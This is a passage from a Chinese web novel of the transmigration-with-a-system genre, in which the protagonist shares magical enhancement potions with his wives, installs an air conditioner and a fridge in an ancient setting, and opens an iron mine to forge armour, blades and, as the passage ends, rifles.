江平和江安,如今已经长开了不少,此时正瞪着乌溜溜的大眼睛,好奇地看着江夜怀里的小包裹。
白梦夏笑着走上前,把两个儿子放到床边,“平儿,安儿,快看,这是妹妹。”
两个小家伙伸出胖乎乎的小手,想要去抓妹妹的襁褓,**夜笑着躲开:“轻点,这是妹妹,不是你们的布老虎,碰坏了怎么办?”
或许是感受到了家人的气息,怀里的小江乐突然对着两个哥哥小声哼叫起来。
这软糯的小奶音,把全屋人的心都给融化了。
白梦夏坐在床边,替妹妹掖好被角,柔声道:“辛苦了。”
白梦秋看着姐姐,又看了看抱着女儿一脸痴汉笑的夫君,嘴角挂着满足的笑意,
“不辛苦。”
第226章 家族气运,神级奖励
屋内烛火摇曳,暖意融融。
白梦秋力竭睡去,嘴角还挂着浅笑。
江夜抱着刚出生的女儿,手指轻轻在那软糯的小脸上蹭了蹭。
就在这温馨静谧的时刻,脑海中沉寂许久的系统提示音响起。
【叮!恭喜宿主诞下首位千金!阴阳调和,家族气运大增!】
【正在发放奖励……】
江夜眉梢一挑。
当初那俩臭小子出生,奖励虽好,可没说“气运大增”这四个字。
【获得奖励1:初级基因强化药剂*10(功效:深层改善体质,修复损伤,延缓衰老,美容养颜,无任何副作用)】
【获得奖励2:超级杂交水稻种子*1000斤(特性:抗旱抗寒,抗倒伏,生长周期短,亩产两千斤起)】
【获得奖励3:随机现代家电大礼包(内含:大功率柴油发电机*1,**门大容量冰箱*1,立式变频空调*3,附赠全套室内外线路及安装工具)】
江夜哪怕听到亩产两千斤的超级水稻,也十分淡定。
可当他听到第三个奖励时,呼吸一滞。
空调!冰箱!
这个时代没有风扇,没有冰块,到了盛夏,那简直就是活受罪。
若是能装上空调,吹着冷风,吃着冰箱里的冰镇西瓜……
那日子,想想都美!
“夫君,你怎么了?可是累着了?”
白梦夏正抱着刚睡醒的江平,见江夜神色变幻莫测,关切道,“要不你去书房歇歇?这里有我和晴妹妹照看就行。”
江夜回过神,压下心头的狂喜,顺水推舟地点点头:“也好,正好有些事宜要思量,辛苦你们了。”
他在白梦夏脸颊上轻啄一口,又看了一眼熟睡的妻女,转身走出了产房。
来到书房,江夜反手插上门闩。
意念一动,意识沉入系统空间。
角落里,堆放着一台大功率发电机,和还没拆封的空调外机和那台巨大的**门冰箱。
江夜伸手摸了摸冰箱冰冷的金属外壳,嘴角上扬。
“爽!”
这才是穿越者该有的生活!
打仗是为了生存,种田是为了发展,但这空调冰箱,是为了享受啊!
江夜压下心头的喜悦,目光落向旁边那十支散发着幽蓝光芒的玻璃试管上。
基因强化药剂。
这东西来得正是时候。
梦秋刚生产完,身子亏空。
梦夏生完双胞胎后,虽然丰腴动人,但私底下总抱怨肚子上的皮肉松了些,没以前紧致。
慕容晴和林间雪也都怀着身孕,正是需要滋补的时候。
江夜拿起一支药剂,轻轻晃动。
幽蓝色的液体如梦似幻。
“美容养颜,延缓衰老……”江夜轻笑,“这东西怕是能让全天下的女人疯狂。”
……
次日,晚饭过后。
江夜将四位夫人召集到了主卧的外间。
白梦秋刚生完孩子,身子虚,裹着薄毯靠在软榻上,白梦夏坐在她身边。
慕容晴和林间雪则坐在一旁,好奇地看着江夜。
“夫君,把我们都叫来做什么?”慕容晴手里剥着橘子。
“莫不是又要纳哪家的小娘子,先来给我们通个气?”
江夜白了她一眼,走过去在她脑门上弹了一下:“一天天脑子里想什么呢。”
说着,他从身后像变戏法似的,拿出了那四只基因强化药剂。
烛光映照下,幽蓝色的光芒流转,显得格外神秘。
“这是……”
众女的目光瞬间被吸引。
就连一向怯懦少言的林间雪,也不由凑近了些。
“这是我托人从海外蓬莱仙岛求来的驻颜神药。”江夜一本正经地胡说八道。
“蓬莱仙岛?驻颜神药?”
这话一出,白梦夏美眸圆睁:“夫君,这药……真能驻颜?”
她生完孩子后,虽说江夜从未嫌弃,但她自己照镜子时,总觉得眼角多了细纹,肚子上的皮肤也不如做姑娘时那般紧致光滑,心里多少有些焦虑。
“那是自然。”
江夜拿起一支,拔开软木塞,一股淡淡的清香瞬间弥漫整个房间。
“此药不仅能美容养颜,让肌肤重回少女时期的巅峰,还能强身健体,消除百病。”江夜看着众女渴望的眼神,笑道,“比那什么
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凝脂玉露酒,强上几倍。”
“我要喝!”
白梦秋第一个举手,眼睛亮晶晶的,“夫君,我生完乐儿,感觉脸色好差,都要变成黄脸婆了。”
“人人有份。”
江夜将药剂分发下去。
四女捧着那精致的玻璃管,没有丝毫犹豫,将那幽蓝色的液体一饮而尽。
入口微凉,随即化作一股暖流,顺着喉咙滑入腹中,迅速向四肢百骸扩散。
最先有变化的是白梦秋。
她原本因为生产失血而有些苍白的脸颊,以肉眼可见的速度红润起来。
额头上因为孕期长出的淡淡斑点,消失得无影无踪。
肌肤变得莹白如玉,透着健康的光泽。
紧接着是白梦夏。
她下意识地伸手摸了摸腰间,原本有些松弛的软肉,竟然在收紧!
那种紧致感,就像是回到了未出阁的时候!
慕容晴和林间雪的变化同样惊人。
慕容晴常年习武,皮肤虽然健康但稍显粗糙,此刻却变得细腻水嫩,仿佛剥了壳的鸡蛋。
林间雪本就长得妩媚,如今肌肤更加晶莹剔透,整个人像是会发光一样,那种由内而外散发的媚意,连江夜看了都忍不住喉咙发干。
“镜子!快给我镜子!”
白梦秋挣扎着从软榻上坐起来,大声喊道。
丫鬟连忙捧来铜镜。
四颗脑袋凑在一起。
“天哪……这真的是我吗?”白梦夏抚摸着自己的脸颊,眼中满是不可置信,“连眼角的细纹都没了!”
“我的皮肤好滑!”慕容晴捏了捏自己的脸。
“夫君!”
白梦秋满脸崇拜对方看着江夜,“你是神仙吗?这种神药都能弄到!”
“谢谢夫君!”
白梦夏也顾不得矜持,抱着江夜的胳膊,美眸中满是崇拜与爱意。
慕容晴更是直接,捧着江夜的脸就是一阵乱啃:“老娘这辈子做得最对的事,就是跟了你!”
就连林间雪也红着脸,在他身后轻轻抱住他的腰,小脸贴在他宽阔的背上。
被四个绝色尤物这般环绕,江夜只觉得人生到达了巅峰。
第227章 基因进化,银狼啸月
翌日清晨。
江夜起得早,神清气爽。
刚推开房门,就见王囤正带着一队护院在院外巡视,一个个精神抖擞。
“王囤,去叫大哥来一趟,我有事找你们。”江夜招了招手。
“好的东家,我这就去。”王囤应了一声,疾步离开。
没多时,王囤领着江峰,来到后院。
“二弟,你叫我有什么事?”
江夜笑道:“没事,就是有好东西给你们尝尝。”
他从怀里摸出两支剩下的基因强化药剂,递了过去。
“这是啥?”江峰接过来,对着阳光瞅了瞅,一脸稀奇。
王囤也是满脸疑惑,但东家给的东西,肯定不是凡品。
“喝了便是,对身体有好处。”
两人不再犹豫,仰头一饮而尽。
“嘶——有点凉。”江峰咂咂嘴,话音未落,脸色骤变。
一股霸道的热流瞬间在腹中炸开,顺着经络疯狂窜向四肢百骸。
江峰只觉得浑身骨头缝里都在发痒,像是无数只蚂蚁在爬。
他因为常年打猎留下的那些暗伤、刀疤,竟然以肉眼可见的速度愈合、淡化。
王囤猛地握紧拳头,他感受着身体传来的力量感,眼中满是狂喜。
“东家!我觉得我现在能一拳打死一头野猪!”
江峰也惊喜道:“小夜,我身上的旧伤全好了!”
江夜满意地点点头:“这药能易筋洗髓。”
王囤闻言,激动得单膝跪地,眼眶通红:“东家再造之恩,王囤这条命,以后就是您的!”
江夜笑着将他扶起:“都是自家人,不必如此。”
就在这时,一道白影窜了过来。
“呜呜——”
团子不知道从哪冒出来的,那双异色的狼眼里满是渴望,死死盯着江夜手里仅剩的一点药剂瓶底,尾巴摇得跟螺旋桨似的。
这货平日里最是精明,刚才闻着那股异香,魂儿都快勾没了。
“你鼻子倒是灵。”
江夜看着这小东西撒娇卖萌的无赖样,也是好笑。
“行吧,给你尝尝,不过只有一点。”
江夜将瓶底剩下的一点药液倒在掌心。
团子兴奋地嗷呜一声,舌头一卷,瞬间舔得干干净净。
下一秒。
“嗷——!!!”
团子发出一声高亢的狼嚎,浑身剧烈颤抖,原本柔顺的银白毛发根根竖起。
它的身躯以肉眼可见的速度膨胀,肌肉隆起,骨骼拉伸。
眨眼之间,身体就膨胀到足有一米五!
它站在那里,就威风凛凛,散发着一股属于丛林王者的恐怖气息。
就连站在一旁的王囤,都被这突如其来的变化吓得后退半步。
“长……长大了!”江峰瞪大了眼,下巴差点掉地上。
团子似乎对自己的新造型很满意,低头看了看粗壮的爪子,然后一声撒娇般的哼唧。
习惯性地想要往江夜怀里扑。
“停!”
江夜眼皮一跳,连忙伸手抵住它的大脑袋。
这要是扑上来,非得把他压趴下不可。
团子委屈地呜咽一声,大脑袋在江夜掌心蹭了蹭,又眼巴巴地看向江夜怀里剩下的药剂,那意思很明显:还要。
“滚蛋,再喝你就炸了。”
江夜笑骂着踹了它一脚。
这场面让江峰和王囤两人都是哭笑不得。
……
时光飞逝,转眼入了夏。
太阳从早晒到晚,树上的知了没完没了地叫着,听得人心烦意乱。
凉亭里。
慕容晴挺着个大肚子,瘫在竹椅上,手里拿着把蒲扇拼命摇,汗水还是顺着脖颈往下淌。
“热死老娘了!”
慕容晴烦躁地把扇子一扔,“这鬼天气,是要把人蒸熟了吗?这日子没法过了!”
她本就火气旺,如今怀了孕,更是像个随时会**的**桶。
一旁的林间雪虽然没说话,但也遭了大罪。
她性子静,此时安安静静地坐着,额前的碎发被汗水浸透,贴在脸上。
因为热,她这几日胃口极差,整个人看着都瘦了一圈,唯独那肚子愈发显得大。
白梦夏和白梦秋两姐妹虽然也热,但毕竟卸了货,身子轻便些,此时正拿着湿毛巾给两位孕妇擦汗。
“晴姐姐,再忍忍,夫君让人去地窖取冰了。”白梦夏柔声劝道。
“那点冰顶个屁用,化得比我吃得都快。”慕容晴嘟囔着,“不行了,我要去水里泡着。”
“你这身子哪能受凉水激?”白梦夏急道。
江夜刚从外面回来,就看到这一幕。
看着几位娇妻热得香汗淋漓,他眉头紧锁。
这时代避暑手段太匮乏,再这么下去,大人遭罪,肚子里的孩子也受不了。
“看来,是时候把那大家伙拿出来了。”
江夜转身去了后院的一处偏僻角落。
那里是他早就让人腾出来的空地。
意念一动,一**绿色的大功率静音柴油发电机凭空出现。
江夜熟练地接好线路,将电线顺着墙根牵引到主卧和偏厅。
紧接着,他扛着那台立式变频空调的主机和外机,大步流星地走进院子。
“夫君,你扛个大白
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箱子做什么?”白梦秋看到江夜这怪异的举动,好奇地凑了过来。
“给你们弄个避暑的神器。”
江夜神秘一笑,也不多解释。
他在偏厅的墙上开了个洞,将空调管线接好,外机安置在墙后阴凉处。
那台一人多高的立式空调,就这么突兀地立在了古色古香的厅堂里,显得格格不入。
“这……这是什么柜子?怎么没门啊?”慕容晴扶着腰走过来,好奇地伸手敲了敲那白色的塑料外壳。
林间雪也睁大了眼睛,虽然不懂,但只要是夫君弄出来的,那肯定是好东西。
“这叫空调。”
江夜擦了擦手上的灰,转身走到院角,启动了发电机。
沉闷而有节奏的马达声响起,但在刻意的隔音处理下,并不显得吵闹。
江夜回到厅内,拿起那个白色的遥控器,对着空调按下了红色的开关键。
“滴——”
一声清脆的电子音响起。
众女吓了一跳,下意识地往后缩了缩。
只见那个奇怪的白色柜子上,几片扇叶缓缓打开,里面亮起了幽幽的绿光,显示出一个数字:18℃。
紧接着,一股强劲而冰凉的气流,喷涌而出,席卷了整个闷热的厅堂。
正对着出风口的慕容晴首当其冲。
她原本还在不停扇风的手猛地僵住了。
凉风吹透了被汗水浸湿的薄衫,激起一层细密的鸡皮疙瘩,那种透彻心扉的凉爽,让她忍不住打了个激灵。
“嘶……这……这是……”
慕容晴瞪大了美眸,满脸的难以置信。
屋内的温度以惊人的速度下降。
“好凉快!”
白梦秋惊喜地叫出声来,跑到空调前面,张开双臂感受着那股冷风,“夫君,这柜子会吐冷气儿!”
林间雪原本苍白的脸色,也在凉风的吹拂下终于缓过劲来。
她深吸一口气,只觉得胸口的憋闷感一扫而空。
“这就是……空调?”白梦夏惊讶地捂着小嘴,“这也太神奇了,比冰块还要凉快!”
江夜看着众女震惊的模样,嘴角勾起一抹宠溺的笑意。
他走过去,将慕容晴拉到一旁的软榻上坐下,“别对着风口直吹,小心着凉。”
慕容晴此刻哪里还顾得上什么女侠风范,她一把抱住江夜的胳膊。
“夫君,这宝贝太神了!有了它,这夏天老娘哪也不去了!”
林间雪也难得大胆了一回,她干脆搬了个凳子坐在旁边,恨不得整个人都贴上去。
她回过头,看着江夜,眼中满是崇拜与感激。
第228章 冰镇西瓜,特种作战
江夜看着众女兴奋的模样,微微一笑,又像变戏法似的,拿出一叠叠叠放整齐的衣物。
“既然有了空调,这厚重的长裙便有些不合时宜了。”
江夜将衣物分发给众女。
那是几件真丝吊带睡裙。
极薄的桑蚕丝,触手生凉,光是看着便觉得顺滑无比。
只是这款式对于大宣朝的女子来说,着实有些惊世骇俗。
两根细细的带子挂在肩头,大片肌肤都要露在外面,裙摆也只堪堪遮过膝盖。
“这……这岂不是亵衣?”林间雪捧着那件淡粉色的睡裙,脸红得像熟透的虾子。
“在自家房里,穿给自家夫君看,有什么好怕的?”
慕容晴倒是爽快,她本就是江湖儿女,没那么多迂腐规矩。
更何况这屋里凉快是凉快,但这长裙裹在身上,还是有些黏腻。
她拿起一件火红色的,转身便进了屏风后。
再出来时,慕容晴已换上了那件吊带裙。
火红的丝绸贴合着她火爆的身材,原本就傲人的曲线被勾勒得惊心动魄,高高隆起的孕肚,不仅不显得累赘,反而透着一股母性的圣洁。
江夜只觉得喉咙有些发干。
“舒服!”慕容晴转了个圈,裙摆飞扬,“这就跟没穿……咳,跟吹风一样自在!”
见慕容晴带了头,其他几女也半推半就地换上了。
白梦秋选了件鹅黄色的,娇俏可爱;白梦夏是月白色的,温婉动人;林间雪则是淡紫色,衬得她媚意愈发浓郁。
一时间,屋内春光无限,各具风情。
“等着。”
江夜转身走到那个**门的大冰箱前,拉开冷藏室的门。
一股白色的冷雾涌出。
他从里面抱出一个早就冰镇好的大西瓜,放在桌上,手起刀落。
“咔嚓”一声脆响。
西瓜炸裂开来,露出鲜红沙瓤的果肉,黑色的瓜子点缀其中,清甜的香气瞬间弥漫在空调房里。
“来,尝尝。”
江夜切好瓜,递给众女。
慕容晴接过一块,顾不得形象,咬了一大口。
冰凉的汁水在口腔中爆开,顺着喉咙一路滑入胃里,激得她打了个哆嗦,随即便是透彻心扉的舒爽。
“爽!”
慕容晴眼睛瞪得溜圆,“这瓜比井水镇的还要凉上十分!”
“这叫冰箱,专门用来保鲜冷藏食物的。”江夜笑着解释,自己也拿起一块啃了起来。
“这日子……”白梦夏小口吃着瓜,惬意地眯起眼,“怕是天上的神仙也不过如此了吧。”
“神仙哪有咱们这空调冰箱?”白梦秋晃着晶莹的小脚丫,“要我说,夫君比神仙还厉害。”
江夜靠在软榻上,听着她们的软语温言,心中那叫一个满足。
……
日子在温馨与凉爽中飞速流逝。
转眼间,慕容晴的肚子越发大了起来,算算日子,已有八个月身孕。
这日午后。
死士们正在前院的演武场操练。
慕容晴趴在二楼的窗口,手里拿着把没开刃的**,无意识地在窗框上比划着。
她看着下面那些死士练习劈砍、格斗,眼中满是渴望。
“左边那个,出刀慢了!若是老娘,一脚就踹他下盘!”
“哎呀,那个蠢货!格挡啊!怎么能硬抗?”
慕容晴看得抓耳挠腮,恨不得从窗户跳下去亲自指导一番。
她在空调房里待了几个月,虽然舒服,但这身子骨都要生锈了。
对于一个啸聚山林的寨主来说,这种安逸简直就是一种折磨。
“怎么?手痒了?”
江夜不知何时出现在她身后,手里端着一杯牛奶。
慕容晴一把抓住江夜的胳膊,可怜巴巴地眨着大眼睛:“夫君……我就下去练两手,就两手!不动真气,就活动活动筋骨,行不行?”
“不行。”
江夜拒绝得干脆利落,把牛奶递到她嘴边,“喝了。”
慕容晴赌气地扭过头:“不喝!我都快憋发霉了!再不让我动动,这孩子生下来怕是个傻子!”
“胡说八道。”江夜板着脸,“八个月了,随时可能生产,你若是敢乱动,我就把你绑在床上。”
“你……”慕容晴嘟着嘴,眼眶竟然有些泛红,“你就知道欺负我。”
这一招“猛女撒娇”,杀伤力简直爆表。
江夜看着她那副委屈样,心里也是一软。
“行了,别委屈了。”
江夜叹了口气,走过去坐在软榻上,拍了拍自己的大腿,“过来。”
慕容晴虽然还在生气,但身体却很诚实,乖乖坐在江夜怀里。
“我不让你练武,是怕伤了身子。”江夜环住她的腰,下巴抵在她肩头,“不过,如果你真想学本事,我不教你拳脚,教你点别的。”
“别的?”慕容晴耳朵一动,来了兴致,“什么别的?”
“万人敌。”
江夜缓缓吐出三个字。
慕容晴眼睛瞬间亮了:“兵法?”
在这个时代,兵法可是不传之秘,大多掌握在世家大族手中,寻常人根本接触不到。
“不错,但不是
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你以前那种带着一帮人乱冲乱杀的土匪打法。”
江夜握住她拿着**的手,在那张铺开的宣纸上轻轻画了一条线。
“我教你的,叫特种作战。”
“特种……作战?”慕容晴咀嚼着这个陌生的词汇。
“所谓特种,便是以极少数的精锐,深入敌后,攻其不备,出其不意。”江夜的声音低沉而富有磁性,在慕容晴耳边缓缓响起。
“比如,斩首行动。”
江夜手中的笔在纸上重重一点,“两军对垒,不求杀敌一千,只求取敌将首级。一旦指挥系统瘫痪,剩下的几万人,不过是一盘散沙。”
慕容晴听得入神,这不就是以前她们劫道时想干的事吗?只是江夜说得更透彻。
“还有,游击战。”
江夜嘴角勾起一抹笑意,写下十六个字。
“敌进我退,敌驻我扰,敌疲我打,敌退我追。”
慕容晴看着江夜,眼中满是崇拜的小星星,“夫君,这都是你想出来的?”
“算是吧。”江夜厚着脸皮认领了伟人的智慧结晶。
“太厉害了。”慕容晴彻底兴奋起来,“夫君,快,再多讲讲!这些具体该怎么配合?”
江夜看着她那副求知若渴的模样,心中暗笑。
这女人,果然还是对打打杀杀最感兴趣。
“想学啊?”江夜坏笑一声,“那得交学费。”
慕容晴一愣,随即反应过来,俏脸一红,但那双眸子里却满是火热。
她双手勾住江夜的脖子,整个人贴了上去,吐气如兰:“只要夫君肯教,让妾身做什么都行……”
两人在凉爽的空调房里,贴身探讨着最致命的**技。
江夜一边讲解着狙击、渗透、心理战,一边享受着怀中佳人的崇拜与温存。
说到精彩处,慕容晴忍不住提出刁钻的问题:“若是敌军把守严密,连只苍蝇都飞不进去,这斩首怎么斩?”
“那就制造混乱,声东击西,或者……”江夜指尖在她红唇上轻轻摩挲,“美人计。”
慕容晴娇嗔道:“老娘才不使美人计,老娘要凭本事杀进去。”
江夜看着她那副认真又带着几分傲娇的模样,心中一动。
他低下头,吻住了她。
慕容晴身子一僵,随即热烈地回应起来。
良久,唇分。
慕容晴气喘吁吁,眼波流转,只剩下一汪春水。
“这招叫什么?”她软软地靠在江夜怀里问。
江夜轻笑一声,替她理了理凌乱的发丝。
“这叫,降服女寨主。”
第229章 意外惊喜
烈日当空,蝉鸣聒噪。
林间雪性子静,平日里那些琐碎的后勤杂事,多半是她默默接手。
后院的阴凉处,林间雪手里拿着把硬毛刷子,正费力地给团子梳理毛发。
这头银色巨狼如今体型硕大,它眯着眼,大尾巴有一搭没一搭地扫过林间雪的小腿。
“团子,你这两日怎么总是往外跑?”
林间雪轻声细语,手指穿过银白色的长毛,“每次回来都弄得脏兮兮的,这要是让夫君看见,又要踢你屁股了。”
团子似乎听懂了,耳朵抖了抖,把大脑袋往林间雪怀里拱了拱,试图萌混过关。
林间雪无奈一笑,伸手去拍打它腹部沾染的尘土。
“咦?”
她动作一顿。
以往团子去山里撒欢,带回来的多是黑泥或者草屑。
可今日它腹部和爪缝里,全是暗红色的粉末。
林间雪捻起一点红粉,在指尖搓了搓。
这粉末质地坚硬,不像泥土,倒像是某种铁锈之类的东西。
“团子,你这是去哪儿沾上的?”林间雪捧着它的狼脸问道。
“嗷呜?”团子歪着头,一脸无辜。
林间雪想了想,找来一块干净的白帕子,细心地将团子爪缝和腹部的红粉收集起来,包好。
书房内。
江夜正对着那台尚未启用的工业母机图纸发愁。
有了这神级机器,理论上能造出任何零件。
**、膛线、甚至是蒸汽机的气缸。
但巧妇难为无米之炊。
系统虽然给了机器,却没给原材料。
市面上的铁,杂质多,产量低,且价格昂贵。
要想实现工业化,光靠买铁,能把他江夜买破产。
“夫君。”
门外传来轻轻的叩击声,随后是林间雪怯生生的声音。
“进来。”江夜放下图纸。
林间雪推门而入,手里捧着那个白帕子。
她今日穿了件淡紫色的吊带裙,外面披了层薄纱,虽怀着身孕,但那股子我见犹怜的风韵却是越发浓郁。
“怎么了?”江夜起身扶她坐下。
林间雪献宝似的摊开手里的帕子,“团子这两日它早出晚归,身上总是带着这种红粉,我觉得有些古怪,便收了一些拿来给夫君看看。”
江夜低头看去。
白色的帕子上,一小堆暗红色的粉末。
他捻起一点,放在鼻端闻了闻,除了土腥味,还有一股淡淡的……铁锈味?
“这是……”
江夜呼吸瞬间急促起来,“铁矿粉!而且品位极高!”
在这个时代,寻常铁矿含铁量能有三四成便算是富矿,而眼前这粉末颜色深红,质地纯净,含铁量怕是不下五成!
“雪儿,你真是我的福星!”
江夜激动地一把抱住林间雪,狠狠在她脸上亲了一口。
林间雪被这突如其来的亲昵弄得满脸通红,缩在他怀里小声道:“对夫君有用就好……”
“太有用了!这简直是瞌睡送枕头!”
江夜松开林间雪,大步流星往外走,“团子呢?”
院子里,团子正四仰八叉地躺在树荫下纳凉,舌头耷拉在外面。
突然,它感觉后颈皮一紧。
江夜直接把它提溜了起来。
“嗷?”团子吓了一激灵,以为又要挨揍,赶紧夹紧了尾巴。
江夜把那块沾着红粉的帕子在它鼻子底下晃了晃,“带我去这地方,晚上给你加两只烧鸡!”
听到烧鸡,团子一个翻身挣脱江夜的手,冲着后山方向兴奋地嚎了一嗓子,撒腿就跑。
江夜紧随其后。
一人一狼,风驰电掣。
穿过一片茂密的松林,越过两道险峻的山梁。
地势逐渐走低。
约莫奔行了半个时辰,团子在一处隐蔽的山谷入口停了下来。
这里草木稀疏,怪石嶙峋。
江夜站在谷口,放眼望去,整个人如同被雷击中一般,僵在原地。
只见前方的山壁像是被巨人一斧子劈开,露出了大片大片裸露在外的暗红色矿石!
“露天……富铁矿!”
江夜激动得声音都在轻轻地颤抖。
若是按照这个储量,别说造枪造炮,就是造一艘钢铁战舰都够了!
“嗷呜!”团子邀功似的蹭了蹭江夜的腿,口水都要流出来了。
“干得漂亮!”
江夜用力揉搓着团子的大脑袋,“
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回去给你加烧鸡!”
团子兴奋得绕着江夜转圈。
……
当晚,江夜回到宅院,立刻召集了心腹王囤。
王囤恭敬询问:“东家,有什么吩咐?”
江夜手指轻轻敲击着桌面,声音沉稳而有力,“从明天开始,我们要干一票大的。”
江夜指了指桌上的矿石,“后山发现了一座大铁矿,我准备开采。”
“铁矿?!”
王囤失声惊呼,随即脸色大变,压低声音道,“东家,私采铁矿可是杀头的重罪!若是被官府知道了……”
“官府?”
江夜冷笑一声,眼中闪过一丝霸气,“清石县如今是谁说了算?况且,乱世将至,手里有刀才是硬道理。”
王囤浑身一震,看着眼前这个年轻的东家,只觉得一股热血直冲脑门。
“东家说得对!咱们干了!”
“人手方面……”江夜沉吟片刻,“之前抓的那两千多黑风军俘虏,修完城墙,就一直在吃白饭,也该让他们动动了。”
“挑选五百名身强力壮的,押送至后山矿区。”
江夜眼中闪过一丝冷酷,“告诉他们,只要老实干活,一天三顿饱饭,甚至有肉吃。若是敢逃跑或者**……”
他做了一个抹脖子的动作。
“明白!”王囤重重点头。
“另外,你派一队死士进驻矿区,除了我们的人,连只苍蝇都不许放进去。”
“东家放心,谁敢靠近,一定让他有来无回!”王囤拍着胸脯保证。
安排完一切,江夜靠在椅背上,长舒了一口气。
……
次日清晨。
五百名衣衫褴褛的俘虏被押送至后山。
当他们看到那漫山遍野的红石头时,原本死灰般的眼神中多了一丝波动。
挖石头总比掉脑袋强。
更何况,只要每日挖够定额,不仅有白面馒头吃,甚至还有肉汤喝。
对于这些在乱世中把脑袋别在裤腰带上讨生活的人来说,这就够了。
“叮当——叮当——”
清脆的开凿声在幽静的山谷中回荡。
江夜站在山崖上,俯瞰着下方热火朝天的场景,嘴角勾起一抹弧度。
第230章 钢铁洪流,降维打击
后山矿谷,原本寂静的山坳,此刻已被喧嚣填满。
五百名战俘赤膊上阵,挥汗如雨,开采出的红褐色矿石堆积如山。
而在山谷深处,一座怪模怪样的大家伙拔地而起。
这不是大宣朝常见的土窑,而是一座高达三丈、外层砌砖、内衬耐火泥的圆柱形高炉。
底部的几个粗大风管,一直延伸到旁边的一台轰鸣作响的机器上。
那是江夜利用工业母机切削出来的鼓风机叶片,配合柴油发电机,能提供高压风力。
“东家,这……这玩意儿真能炼铁?”
王囤看着眼前这个吞吐着黑烟的巨兽,心里直打鼓。
以往村里的铁匠打铁,都是把铁矿石烧红了,用锤子千百次敲打,费时费力不说,出来的铁还脆。
江夜手里拿着一张图纸,正在校对最后的阀门参数,头也没回:“能不能行,马上就知道了。”
他拥有神级工匠技艺,脑子里装着跨越千年的冶炼知识。
这个时代炼铁,最大的问题是炉温不够,铁矿石无法完全融化,只能得到海绵铁,杂质极多。
而有了强力鼓风设备和焦炭,炉温能轻松突破一千五百摄氏度。
“点火!”
江夜一声令下。
早已待命的死士将火把扔进炉膛。
鼓风机发出沉闷的咆哮,强劲的气流卷入炉底,火势瞬间冲天而起。
时间一分一秒过去。
炉壁开始发红,周围的空气扭曲变形,热**得人不得不后退十几步。
战俘们都停下了手里的活,惊恐又好奇地看着这一幕。
约莫过了两个时辰。
江夜看了看炉口的火焰颜色,从暗红转为刺目的金白。
“开闸,出铁!”
一名死士手持长杆,捅开了出铁口的泥封。
“轰——”
一条金红色的火龙喷涌而出!
那是完全液态的铁水!
滚烫的铁水顺着预先挖好的沙槽奔流,如同岩浆漫过大地,最后汇入一个个方形的模具之中。
没有凝滞,没有结块,流畅得如同清水。
“这……这是铁?”王囤瞪大了牛眼,嘴巴张得能塞进一个拳头,“铁还能变成水?”
在这个时代的人看来,铁烧红了也就是软泥状,化成水简直闻所未闻。
“这叫生铁水,不过我加了点料。”江夜看着那些火红的液体,嘴角微扬。
他在炉料里按比例加入了石灰石脱硫,又在铁水流出时撒入了特殊的脱氧剂。
这不是普通的生铁,而是接近现代标准的碳素钢。
待到模具冷却,死士们用铁钳夹起一块块银灰色的钢锭,堆放在空地上。
没有蜂窝状的杂质,表面光滑致密,在阳光下泛着冷冽的寒光。
“拿把刀来。”江夜淡淡道。
王囤立刻递上自己的佩刀。
这是他从县城铁匠铺买的好刀,平日里宝贝得不行。
江夜接过刀,对着地上一块钢锭,猛地劈下。
“铛——!”
一声脆响,火星四溅。
江夜把刀扔回给王囤。
王囤定睛一看,瞬间倒吸一口凉气。
他的宝贝佩刀,卷刃了,崩开了一个指甲盖大小的缺口。
再看地上的钢锭。
只有一道浅浅的白印,伸手一摸,连个坑都没留下。
“我的个乖乖……”王囤捧着那块钢锭,像是捧着绝世珍宝,手都在抖,“这比百炼钢还要硬!若是用这东西做兵器……”
他不敢想了。
“别发愣了。”江夜拍了拍他的肩膀,“把这些钢锭运回宅子。”
……
接下来的半个月,江家大院的后院,那台来自未来的工业母机日夜不停的轰鸣着。
坚硬如铁的钢锭在合金刀头下,如同豆腐般被切削、钻孔、打磨。
江夜设计的是全身板甲。
符合人体工程学的弧度,关节处灵活的活动页片,重点部位加厚,非要害部位减重。
第一批装备出炉。
演武场上,一名身材魁梧的死士被叫出列。
他脱下原本的皮甲,换上了这套银灰色的板甲。
没有想象中的沉重,死士活动了一下手脚,甚至原地跳了几下,关节处发出清脆的金属摩擦声,却丝毫不影响动作。
“王囤,射他。”江夜递给王囤一把弓。
王囤一愣:“东家,这可是真家伙……”
“让你射就射,哪那么多废话。”
王囤咬牙,张弓搭箭,对着那死士的胸口就是一箭。
“崩!”
箭矢如流星般撞在胸甲上。
没有入肉的声音,
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只有一声金属撞击的脆响。
箭杆直接震断,箭头滑向一旁,在板甲上留下一道划痕。
那死士只是晃了晃身子,毫发无伤。
全场死寂。
随后爆发出一阵压抑不住的惊呼。
“这还是人吗?”
“有了这甲,咱们岂不是刀枪不入?”
江夜又让人抬上来几口箱子。
箱盖打开,里面整整齐齐码放着一百把长刀。
刀身修长笔直,略带弧度,背厚刃薄,刀柄缠着防滑的黑绳。
锰钢唐刀。
这种钢材韧性极佳,硬度极高,专破重甲。
“试试。”
王囤拿起一把唐刀,对着竖在场边的木桩,甚至没怎么用力,随手一挥。
碗口粗的木桩应声而断,切口平滑如镜。
“好刀!”王囤爱不释手,眼里冒着绿光。
除了刀甲,还有弓。
不再是受限于材料的传统角弓,而是利用机床加工出的滑轮**。
虽然受限于材料,弓臂还是用的竹木复合层压,但加上了偏心轮结构,拉力大减,射程和威力却翻倍。
一百二十人的护院队,全部换装。
看着眼前这支银甲覆身、手持唐刀、背负怪弓的队伍,王囤激动的浑身颤抖。
“东家,咱们现在有了这身装备都能横着走了吧?”王囤兴奋地问。
江夜看着这支冷兵器时代的巅峰部队,摇了摇头:“还不够。”
“还不够?”王囤傻眼了,“这都刀枪不入了,还不够?”
冷兵器再强,终究是冷兵器。
在这个即将大乱的世道,要想真正立于不败之地,还得拥有更强的武器。
深夜。
空间意识里。
江夜面前摆着一张复杂的图纸。
旁边,工业母机的钻头正在一根精钢管中缓缓推进,发出刺耳的摩擦声。
虽然以现在的条件,造出现代自动**那是做梦。
但这并不妨碍他搞出点别的。
比如——燧发枪。
而且不是那种打一枪就要通半天管子的老式火铳,而是带有膛线、使用定装纸壳弹的米尼**。
这玩意儿在十九世纪可是大杀器,射程远,精度高,装填快。
放在这个还处于大刀长矛的时代,那就是妥妥的降维打击。
第231章 跨越时代的**,岳父以此兴师?
系统空间内,寂静无声。
那台工业母机刚刚停止运转,钻头余温未散。
江夜手里捧着一根泛着冷冽幽光的钢管,眼神专注。
这是是用高强度锰钢切削钻孔的**。
